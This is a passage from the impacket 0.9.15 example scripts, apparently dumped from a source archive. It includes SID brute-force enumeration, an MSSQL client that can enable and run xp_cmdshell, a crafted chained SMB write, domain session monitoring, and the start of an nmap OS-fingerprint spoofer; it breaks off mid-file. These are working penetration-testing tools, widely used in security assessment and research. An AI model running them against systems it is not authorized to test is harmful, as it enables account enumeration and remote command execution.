def __init__(self, username, password, domain, protocols = None,
hashes = None, maxRid=4000):
if not protocols:
protocols = LSALookupSid.KNOWN_PROTOCOLS.keys()
self.__username = username
self.__password = password
self.__protocols = [protocols]
self.__maxRid = int(maxRid)
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def dump(self, addr):
logging.info('Brute forcing SIDs at %s' % addr)
# Try all requested protocols until one works.
for protocol in self.__protocols:
protodef = LSALookupSid.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
logging.info("Trying protocol %s..." % protocol)
stringbinding = protodef[0] % addr
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(port)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
try:
self.__bruteForce(rpctransport, self.__maxRid)
except Exception, e:
#import traceback
#print traceback.print_exc()
logging.critical(str(e))
raise
else:
# Got a response. No need for further iterations.
break
def __bruteForce(self, rpctransport, maxRid):
dce = rpctransport.get_dce_rpc()
entries = []
dce.connect()
# Want encryption? Uncomment next line
# But make SIMULTANEOUS variable <= 100
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
# Want fragmentation? Uncomment next line
#dce.set_max_fragment_size(32)
dce.bind(lsat.MSRPC_UUID_LSAT)
resp = lsat.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
policyHandle = resp['PolicyHandle']
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
soFar = 0
SIMULTANEOUS = 1000
for j in range(maxRid/SIMULTANEOUS+1):
if (maxRid - soFar) / SIMULTANEOUS == 0:
sidsToCheck = (maxRid - soFar) % SIMULTANEOUS
else:
sidsToCheck = SIMULTANEOUS
if sidsToCheck == 0:
break
sids = list()
for i in xrange(soFar, soFar+sidsToCheck):
sids.append(domainSid + '-%d' % i)
try:
lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
except DCERPCException, e:
if str(e).find('STATUS_NONE_MAPPED') >= 0:
soFar += SIMULTANEOUS
continue
elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:
resp = e.get_packet()
else:
raise
for n, item in enumerate(resp['TranslatedNames']['Names']):
if item['Use'] != SID_NAME_USE.SidTypeUnknown:
print "%d: %s\\%s (%s)" % (
soFar + n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'],
SID_NAME_USE.enumItems(item['Use']).name)
soFar += SIMULTANEOUS
dce.disconnect()
return entries
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
# Explicitly changing the stdout encoding format
if sys.stdout.encoding is None:
# Output is redirected to a file
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
print version.BANNER
parser = argparse.ArgumentParser()
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]')
parser.add_argument('maxRid', action='store', default = '4000', nargs='?', help='max Rid to check (default 4000)')
parser.add_argument('protocol', choices=LSALookupSid.KNOWN_PROTOCOLS.keys(), nargs='?', default='445/SMB', help='transport protocol (default 445/SMB)')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None:
from getpass import getpass
password = getpass("Password:")
lookup = LSALookupSid(username, password, domain, options.protocol, options.hashes, options.maxRid)
try:
lookup.dump(address)
except:
pass
impacket-0.9.15/examples/loopchain.py 0000700 0000765 0000000 00000003762 12734531507 017626 0 ustar beto wheel 0000000 0000000 import time
from impacket.examples import logger
from impacket import smb
class lotsSMB(smb.SMB):
def loop_write_andx(self,tid,fid,data, offset = 0, wait_answer=1):
pkt = smb.NewSMBPacket()
pkt['Flags1'] = 0x18
pkt['Flags2'] = 0
pkt['Tid'] = tid
writeAndX = smb.SMBCommand(self.SMB_COM_WRITE_ANDX)
pkt.addCommand(writeAndX)
writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters()
writeAndX['Parameters']['Fid'] = fid
writeAndX['Parameters']['Offset'] = offset
writeAndX['Parameters']['WriteMode'] = 0
writeAndX['Parameters']['Remaining'] = len(data)
writeAndX['Parameters']['DataLength'] = len(data)
writeAndX['Parameters']['DataOffset'] = len(pkt)
writeAndX['Data'] = data+('A'*4000)
saved_offset = len(pkt)
writeAndX2 = smb.SMBCommand(self.SMB_COM_WRITE_ANDX)
pkt.addCommand(writeAndX2)
writeAndX2['Parameters'] = smb.SMBWriteAndX_Parameters()
writeAndX2['Parameters']['Fid'] = fid
writeAndX2['Parameters']['Offset'] = offset
writeAndX2['Parameters']['WriteMode'] = 0
writeAndX2['Parameters']['Remaining'] = len(data)
writeAndX2['Parameters']['DataLength'] = len(data)
writeAndX2['Parameters']['DataOffset'] = len(pkt)
writeAndX2['Data'] = '\n'
writeAndX2['Parameters']['AndXCommand'] = self.SMB_COM_WRITE_ANDX
writeAndX2['Parameters']['AndXOffset'] = saved_offset
self.sendSMB(pkt)
if wait_answer:
pkt = self.recvSMB()
if pkt.isValidAnswer(self.SMB_COM_WRITE_ANDX):
return pkt
return None
# Init the example's logger theme
logger.init()
s = lotsSMB('*SMBSERVER','192.168.1.1')
s.login('Administrator','pasword')
tid = s.tree_connect(r'\\*SMBSERVER\IPC$')
fid = s.open_andx(tid, r'\pipe\echo', smb.SMB_O_CREAT, smb.SMB_O_OPEN)[0]
s.loop_write_andx(tid,fid,'<1234>\n', wait_answer = 0)
time.sleep(2)
s.close(tid,fid)
impacket-0.9.15/examples/mssqlclient.py 0000700 0000765 0000000 00000014047 12734531507 020206 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: [MS-TDS] & [MC-SQLR] example.
#
# Author:
# Alberto Solino (beto@coresecurity.com/@agsolino)
#
# Reference for:
# Structure
#
import argparse
import sys
import string
import os
import logging
from impacket.examples import logger
from impacket import version, tds
if __name__ == '__main__':
import cmd
class SQLSHELL(cmd.Cmd):
def __init__(self, SQL):
cmd.Cmd.__init__(self)
self.sql = SQL
self.prompt = 'SQL> '
self.intro = '[!] Press help for extra shell commands'
def do_help(self, line):
print """
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
! {cmd} - executes a local shell cmd
"""
def do_shell(self, s):
os.system(s)
def do_xp_cmdshell(self, s):
try:
self.sql.sql_query("exec master..xp_cmdshell '%s'" % s)
self.sql.printReplies()
self.sql.colMeta[0]['TypeData'] = 80*2
self.sql.printRows()
except:
pass
def do_lcd(self, s):
if s == '':
print os.getcwd()
else:
os.chdir(s)
def do_enable_xp_cmdshell(self, line):
try:
self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
self.sql.printReplies()
self.sql.printRows()
except:
pass
def do_disable_xp_cmdshell(self, line):
try:
self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
self.sql.printReplies()
self.sql.printRows()
except:
pass
def default(self, line):
try:
self.sql.sql_query(line)
self.sql.printReplies()
self.sql.printRows()
except:
pass
def emptyline(self):
pass
def do_exit(self, line):
return True
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "TDS client implementation (SSL supported).")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]')
parser.add_argument('-port', action='store', default='1433', help='target MSSQL port (default 1433)')
parser.add_argument('-db', action='store', help='MSSQL database instance (default None)')
parser.add_argument('-windows-auth', action='store_true', default = 'False', help='whether or not to use Windows Authentication (default False)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the SQL shell')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
ms_sql = tds.MSSQL(address, string.atoi(options.port))
ms_sql.connect()
try:
if options.k is True:
res = ms_sql.kerberosLogin(options.db, username, password, domain, options.hashes, options.aesKey,
kdcHost=options.dc_ip)
else:
res = ms_sql.login(options.db, username, password, domain, options.hashes, options.windows_auth)
ms_sql.printReplies()
except Exception, e:
logging.error(str(e))
res = False
if res is True:
shell = SQLSHELL(ms_sql)
if options.file is None:
shell.cmdloop()
else:
for line in options.file.readlines():
print "SQL> %s" % line,
shell.onecmd(line)
ms_sql.disconnect()
impacket-0.9.15/examples/mssqlinstance.py 0000700 0000765 0000000 00000002573 12734531507 020535 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: [MC-SQLR] example. Retrieves the instances names from the target host
#
# Author:
# Alberto Solino (@agsolino)
#
# Reference for:
# Structure
#
import argparse
import sys
import string
import logging
from impacket.examples import logger
from impacket import version, tds
if __name__ == '__main__':
print version.BANNER
# Init the example's logger theme
logger.init()
parser = argparse.ArgumentParser(add_help = True, description = "Asks the remote host for its running MSSQL Instances.")
parser.add_argument('host', action='store', help='target host')
parser.add_argument('-timeout', action='store', default='5', help='timeout to wait for an answer')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
ms_sql = tds.MSSQL(options.host)
instances = ms_sql.getInstances(string.atoi(options.timeout))
if len(instances) == 0:
"No MSSQL Instances found"
else:
for i, instance in enumerate(instances):
logging.info("Instance %d" % i)
for key in instance.keys():
print key + ":" + instance[key]
impacket-0.9.15/examples/netview.py 0000700 0000765 0000000 00000052564 12734531507 017337 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# beto (@agsolino)
#
# Description:
# The idea of this script is to get a list of the sessions
# opened at the remote hosts and keep track of them.
# Coincidentally @mubix did something similar a few years
# ago so credit goes to him (and the script's name ;)).
# Check it out at https://github.com/mubix/netview
# The main difference with our approach is we keep
# looping over the hosts found and keep track of who logged
# in/out from remote servers. Plus, we keep the connections
# with the target systems and just send a few DCE-RPC packets.
#
# One VERY IMPORTANT thing is:
#
# YOU HAVE TO BE ABLE TO RESOLV THE DOMAIN MACHINES NETBIOS
# NAMES. That's usually solved by setting your DNS to the
# domain DNS (and the right search domain).
#
# Some examples of usage are:
#
# netview.py -target 192.168.1.10 beto
#
# This will show the sessions on 192.168.1.10 and will authenticate as 'beto'
# (password will be prompted)
#
# netview.py FREEFLY.NET/beto
#
# This will download all machines from FREEFLY.NET, authenticated as 'beto'
# and will gather the session information for those machines that appear
# to be up. There is a background thread checking aliveness of the targets
# at all times.
#
# netview.py -users /tmp/users -dc-ip freefly-dc.freefly.net -k FREEFLY.NET/beto
#
# This will download all machines from FREEFLY.NET, authenticating using
# Kerberos (that's why -dc-ip parameter is needed), and filter
# the output based on the list of users specified in /tmp/users file.
#
#
import sys
import argparse
import logging
import socket
from threading import Thread, Event
from Queue import Queue
from time import sleep
from impacket.examples import logger
from impacket import version
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import transport, wkst, srvs, samr
from impacket.dcerpc.v5.ndr import NULL
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.nt_errors import STATUS_MORE_ENTRIES
machinesAliveQueue = Queue()
machinesDownQueue = Queue()
myIP = None
def checkMachines(machines, stopEvent, singlePass=False):
origLen = len(machines)
deadMachines = machines
done = False
while not done:
if stopEvent.is_set():
done = True
break
for machine in deadMachines:
s = socket.socket()
try:
s = socket.create_connection((machine, 445), 2)
global myIP
myIP = s.getsockname()[0]
s.close()
machinesAliveQueue.put(machine)
except Exception, e:
logging.debug('%s: not alive (%s)' % (machine, e))
pass
else:
logging.debug('%s: alive!' % machine)
deadMachines.remove(machine)
if stopEvent.is_set():
done = True
break
logging.debug('up: %d, down: %d, total: %d' % (origLen-len(deadMachines), len(deadMachines), origLen))
if singlePass is True:
done = True
if not done:
sleep(10)
# Do we have some new deadMachines to add?
while machinesDownQueue.empty() is False:
deadMachines.append(machinesDownQueue.get())
class USERENUM:
def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, options=None):
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__kdcHost = options.dc_ip
self.__options = options
self.__machinesList = list()
self.__targets = dict()
self.__filterUsers = None
self.__targetsThreadEvent = None
self.__targetsThread = None
self.__maxConnections = int(options.max_connections)
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def getDomainMachines(self):
if self.__kdcHost is not None:
domainController = self.__kdcHost
elif self.__domain is not '':
domainController = self.__domain
else:
raise Exception('A domain is needed!')
logging.info('Getting machine\'s list from %s' % domainController)
rpctransport = transport.SMBTransport(domainController, 445, r'\samr', self.__username, self.__password,
self.__domain, self.__lmhash, self.__nthash, self.__aesKey,
doKerberos=self.__doKerberos, kdcHost = self.__kdcHost)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
try:
resp = samr.hSamrConnect(dce)
serverHandle = resp['ServerHandle']
resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
domains = resp['Buffer']['Buffer']
logging.info("Looking up users in domain %s" % domains[0]['Name'])
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] )
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
domainHandle = resp['DomainHandle']
status = STATUS_MORE_ENTRIES
enumerationContext = 0
while status == STATUS_MORE_ENTRIES:
try:
resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, samr.USER_WORKSTATION_TRUST_ACCOUNT,
enumerationContext=enumerationContext)
except DCERPCException, e:
if str(e).find('STATUS_MORE_ENTRIES') < 0:
raise
resp = e.get_packet()
for user in resp['Buffer']['Buffer']:
self.__machinesList.append(user['Name'][:-1])
logging.debug('Machine name - rid: %s - %d'% (user['Name'], user['RelativeId']))
enumerationContext = resp['EnumerationContext']
status = resp['ErrorCode']
except Exception, e:
raise e
dce.disconnect()
def getTargets(self):
logging.info('Importing targets')
if self.__options.target is None and self.__options.targets is None:
# We need to download the list of machines from the domain
self.getDomainMachines()
elif self.__options.targets is not None:
for line in self.__options.targets.readlines():
self.__machinesList.append(line.strip(' \r\n'))
else:
# Just a single machine
self.__machinesList.append(self.__options.target)
logging.info("Got %d machines" % len(self.__machinesList))
def filterUsers(self):
if self.__options.user is not None:
self.__filterUsers = list()
self.__filterUsers.append(self.__options.user)
elif self.__options.users is not None:
# Grab users list from a file
self.__filterUsers = list()
for line in self.__options.users.readlines():
self.__filterUsers.append(line.strip(' \r\n'))
else:
self.__filterUsers = None
def run(self):
self.getTargets()
self.filterUsers()
#self.filterGroups()
# Up to here we should have figured out the scope of our work
self.__targetsThreadEvent = Event()
if self.__options.noloop is False:
# Start a separate thread checking the targets that are up
self.__targetsThread = Thread(target=checkMachines, args=(self.__machinesList,self.__targetsThreadEvent))
self.__targetsThread.start()
else:
# Since it's gonna be a one shoot test, we need to wait till it finishes
checkMachines(self.__machinesList,self.__targetsThreadEvent, singlePass=True)
while True:
# Do we have more machines to add?
while machinesAliveQueue.empty() is False:
machine = machinesAliveQueue.get()
logging.debug('Adding %s to the up list' % machine)
self.__targets[machine] = {}
self.__targets[machine]['SRVS'] = None
self.__targets[machine]['WKST'] = None
self.__targets[machine]['Admin'] = True
self.__targets[machine]['Sessions'] = list()
self.__targets[machine]['LoggedIn'] = set()
for target in self.__targets.keys():
try:
self.getSessions(target)
self.getLoggedIn(target)
except (SessionError, DCERPCException), e:
# We will silently pass these ones, might be issues with Kerberos, or DCE
if str(e).find('LOGON_FAILURE') >=0:
# For some reason our credentials don't work there,
# taking it out from the list.
logging.error('STATUS_LOGON_FAILURE for %s, discarding' % target)
del(self.__targets[target])
elif str(e).find('INVALID_PARAMETER') >=0:
del(self.__targets[target])
elif str(e).find('access_denied') >=0:
# Can't access the target RPC call, most probably a Unix host
# taking it out from the list
del(self.__targets[target])
else:
logging.info(str(e))
pass
except KeyboardInterrupt:
raise
except Exception, e:
#import traceback
#print traceback.print_exc()
if str(e).find('timed out') >=0:
# Most probably this site went down. taking it out
# ToDo: add it back to the list of machines to check in
# the separate thread - DONE
del(self.__targets[target])
machinesDownQueue.put(target)
else:
# These ones we will report
logging.error(e)
pass
if self.__options.noloop is True:
break
logging.debug('Sleeping for %s seconds' % self.__options.delay)
logging.debug('Currently monitoring %d active targets' % len(self.__targets))
sleep(int(self.__options.delay))
def getSessions(self, target):
if self.__targets[target]['SRVS'] is None:
stringSrvsBinding = r'ncacn_np:%s[\PIPE\srvsvc]' % target
rpctransportSrvs = transport.DCERPCTransportFactory(stringSrvsBinding)
if hasattr(rpctransportSrvs, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransportSrvs.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpctransportSrvs.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpctransportSrvs.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
self.__maxConnections -= 1
else:
dce = self.__targets[target]['SRVS']
try:
resp = srvs.hNetrSessionEnum(dce, '\x00', NULL, 10)
except Exception, e:
if str(e).find('Broken pipe') >= 0:
# The connection timed-out. Let's try to bring it back next round
self.__targets[target]['SRVS'] = None
self.__maxConnections += 1
return
else:
raise
if self.__maxConnections < 0:
# Can't keep this connection open. Closing it
dce.disconnect()
self.__maxConnections = 0
else:
self.__targets[target]['SRVS'] = dce
# Let's see who createad a connection since last check
tmpSession = list()
printCRLF = False
for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
userName = session['sesi10_username'][:-1]
sourceIP = session['sesi10_cname'][:-1][2:]
key = '%s\x01%s' % (userName, sourceIP)
myEntry = '%s\x01%s' % (self.__username, myIP)
tmpSession.append(key)
if not(key in self.__targets[target]['Sessions']):
# Skipping myself
if key != myEntry:
self.__targets[target]['Sessions'].append(key)
# Are we filtering users?
if self.__filterUsers is not None:
if userName in self.__filterUsers:
print "%s: user %s logged from host %s - active: %d, idle: %d" % (
target, userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time'])
printCRLF = True
else:
print "%s: user %s logged from host %s - active: %d, idle: %d" % (
target, userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time'])
printCRLF = True
# Let's see who deleted a connection since last check
for nItem, session in enumerate(self.__targets[target]['Sessions']):
userName, sourceIP = session.split('\x01')
if session not in tmpSession:
del(self.__targets[target]['Sessions'][nItem])
# Are we filtering users?
if self.__filterUsers is not None:
if userName in self.__filterUsers:
print "%s: user %s logged off from host %s" % (target, userName, sourceIP)
printCRLF=True
else:
print "%s: user %s logged off from host %s" % (target, userName, sourceIP)
printCRLF=True
if printCRLF is True:
print
def getLoggedIn(self, target):
if self.__targets[target]['Admin'] is False:
return
if self.__targets[target]['WKST'] is None:
stringWkstBinding = r'ncacn_np:%s[\PIPE\wkssvc]' % target
rpctransportWkst = transport.DCERPCTransportFactory(stringWkstBinding)
if hasattr(rpctransportWkst, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransportWkst.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpctransportWkst.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpctransportWkst.get_dce_rpc()
dce.connect()
dce.bind(wkst.MSRPC_UUID_WKST)
self.__maxConnections -= 1
else:
dce = self.__targets[target]['WKST']
try:
resp = wkst.hNetrWkstaUserEnum(dce,1)
except Exception, e:
if str(e).find('Broken pipe') >= 0:
# The connection timed-out. Let's try to bring it back next round
self.__targets[target]['WKST'] = None
self.__maxConnections += 1
return
elif str(e).upper().find('ACCESS_DENIED'):
# We're not admin, bye
dce.disconnect()
self.__maxConnections += 1
self.__targets[target]['Admin'] = False
return
else:
raise
if self.__maxConnections < 0:
# Can't keep this connection open. Closing it
dce.disconnect()
self.__maxConnections = 0
else:
self.__targets[target]['WKST'] = dce
# Let's see who looged in locally since last check
tmpLoggedUsers = set()
printCRLF = False
for session in resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']:
userName = session['wkui1_username'][:-1]
logonDomain = session['wkui1_logon_domain'][:-1]
key = '%s\x01%s' % (userName, logonDomain)
tmpLoggedUsers.add(key)
if not(key in self.__targets[target]['LoggedIn']):
self.__targets[target]['LoggedIn'].add(key)
# Are we filtering users?
if self.__filterUsers is not None:
if userName in self.__filterUsers:
print "%s: user %s\\%s logged in LOCALLY" % (target,logonDomain,userName)
printCRLF=True
else:
print "%s: user %s\\%s logged in LOCALLY" % (target,logonDomain,userName)
printCRLF=True
# Let's see who logged out since last check
for session in self.__targets[target]['LoggedIn'].copy():
userName, logonDomain = session.split('\x01')
if session not in tmpLoggedUsers:
self.__targets[target]['LoggedIn'].remove(session)
# Are we filtering users?
if self.__filterUsers is not None:
if userName in self.__filterUsers:
print "%s: user %s\\%s logged off LOCALLY" % (target,logonDomain,userName)
printCRLF=True
else:
print "%s: user %s\\%s logged off LOCALLY" % (target,logonDomain,userName)
printCRLF=True
if printCRLF is True:
print
def stop(self):
if self.__targetsThreadEvent is not None:
self.__targetsThreadEvent.set()
# Process command-line arguments.
if __name__ == '__main__':
print version.BANNER
# Init the example's logger theme
logger.init()
parser = argparse.ArgumentParser()
parser.add_argument('identity', action='store', help='[domain/]username[:password]')
parser.add_argument('-user', action='store', help='Filter output by this user')
parser.add_argument('-users', type=argparse.FileType('r'), help='input file with list of users to filter to output for')
#parser.add_argument('-group', action='store', help='Filter output by members of this group')
#parser.add_argument('-groups', type=argparse.FileType('r'), help='Filter output by members of the groups included in the input file')
parser.add_argument('-target', action='store', help='target system to query info from. If not specified script will run in domain mode.')
parser.add_argument('-targets', type=argparse.FileType('r'), help='input file with targets system to query info from (one per line). If not specified script will run in domain mode.')
parser.add_argument('-noloop', action='store_true', default=False, help='Stop after the first probe')
parser.add_argument('-delay', action='store', default = '10', help='seconds delay between starting each batch probe (default 10 seconds)')
parser.add_argument('-max-connections', action='store', default='1000', help='Max amount of connections to keep opened (default 1000)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::([^@]*))?)?').match(options.identity).groups(
'')
try:
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
executer = USERENUM(username, password, domain, options.hashes, options.aesKey, options.k, options)
executer.run()
except Exception, e:
#import traceback
#print traceback.print_exc()
logging.error(e)
executer.stop()
except KeyboardInterrupt:
logging.info('Quitting.. please wait')
executer.stop()
sys.exit(0)
impacket-0.9.15/examples/nmapAnswerMachine.py 0000700 0000765 0000000 00000107116 12734531507 021250 0 ustar beto wheel 0000000 0000000 import random
import os_ident
import uncrc32
try: import pcap as pcapy
except: import pcapy
from impacket import ImpactPacket
from impacket import ImpactDecoder
from impacket.ImpactPacket import TCPOption
from impacket.examples import logger
#defaults
MAC = "01:02:03:04:05:06"
IP = "192.168.67.254"
IFACE = "eth0"
OPEN_TCP_PORTS = [80, 443]
OPEN_UDP_PORTS = [111]
UDP_CMD_PORT = 12345
nmapOSDB = '/usr/share/nmap/nmap-os-db'
# Fingerprint = 'Adtran NetVanta 3200 router' # CD=Z TOSI=Z <----------- NMAP detects it as Linux!!!
# Fingerprint = 'ADIC Scalar 1000 tape library remote management unit' # DFI=S
# Fingerprint = 'Siemens Gigaset SX541 or USRobotics USR9111 wireless DSL modem' # DFI=O U1(DF=N IPL=38)
# Fingerprint = 'Apple Mac OS X 10.5.6 (Leopard) (Darwin 9.6.0)' # DFI=Y SI=S U1(DF=Y)
Fingerprint = 'Sun Solaris 10 (SPARC)'
# Fingerprint = 'Sun Solaris 9 (x86)'
# Fingerprint = '3Com OfficeConnect 3CRWER100-75 wireless broadband router' # TI=Z DFI=N !SS TI=Z II=I
# Fingerprint = 'WatchGuard Firebox X5w firewall/WAP' # TI=RD
# no TI=Hex
# Fingerprint = 'FreeBSD 6.0-STABLE - 6.2-RELEASE' # TI=RI
# Fingerprint = 'Microsoft Windows 98 SE' # TI=BI ----> BROKEN! nmap shows no SEQ() output
# Fingerprint = 'Microsoft Windows NT 4.0 SP5 - SP6' # TI=BI TOSI=S SS=S
# Fingerprint = 'Microsoft Windows Vista Business' # TI=I U1(IPL=164)
# Fingerprint = 'FreeBSD 6.1-RELEASE' # no TI (TI=O)
# Fingerprint = '2Wire 1701HG wireless ADSL modem' # IE(R=N)
# Fingerprint = 'Cisco Catalyst 1912 switch' # TOSI=O SS=S
O_ETH = 0
O_IP = 1
O_ARP = 1
O_UDP = 2
O_TCP = 2
O_ICMP = 2
O_UDP_DATA = 3
O_ICMP_DATA = 3
def string2tuple(string):
if string.find(':') >= 0:
return [int(x) for x in string.split(':')]
else:
return [int(x) for x in string.split('.')]
class Responder:
templateClass = None
signatureName = None
def __init__(self, machine):
self.machine = machine
print "Initializing %s" % self.__class__.__name__
self.initTemplate()
self.initFingerprint()
def initTemplate(self):
if not self.templateClass:
self.template_onion = None
else:
try:
probe = self.templateClass(0, ['0.0.0.0',self.getIP()],[0, 0])
except:
probe = self.templateClass(0, ['0.0.0.0',self.getIP()])
self.template_onion = [probe.get_packet()]
try:
while 1: self.template_onion.append(self.template_onion[-1].child())
except: pass
# print "Template: %s" % self.template_onion[O_ETH]
# print "Options: %r" % self.template_onion[O_TCP].get_padded_options()
# print "Flags: 0x%04x" % self.template_onion[O_TCP].get_th_flags()
def initFingerprint(self):
if not self.signatureName:
self.fingerprint = None
else:
self.fingerprint = self.machine.fingerprint.get_tests()[self.signatureName].copy()
def isMine(self, in_onion):
return False
def buildAnswer(self, in_onion):
return None
def sendAnswer(self, out_onion):
self.machine.sendPacket(out_onion)
def process(self, in_onion):
if not self.isMine(in_onion): return False
print "Got packet for %s" % self.__class__.__name__
out_onion = self.buildAnswer(in_onion)
if out_onion: self.sendAnswer(out_onion)
return True
def getIP(self):
return self.machine.ipAddress
# Generic Responders (does the word Responder exist?)
class ARPResponder(Responder):
def isMine(self, in_onion):
if len(in_onion) < 2: return False
if in_onion[O_ARP].ethertype != ImpactPacket.ARP.ethertype:
return False
return (
in_onion[O_ARP].get_ar_op() == 1 and # ARP REQUEST
in_onion[O_ARP].get_ar_tpa() == string2tuple(self.machine.ipAddress))
def buildAnswer(self, in_onion):
eth = ImpactPacket.Ethernet()
arp = ImpactPacket.ARP()
eth.contains(arp)
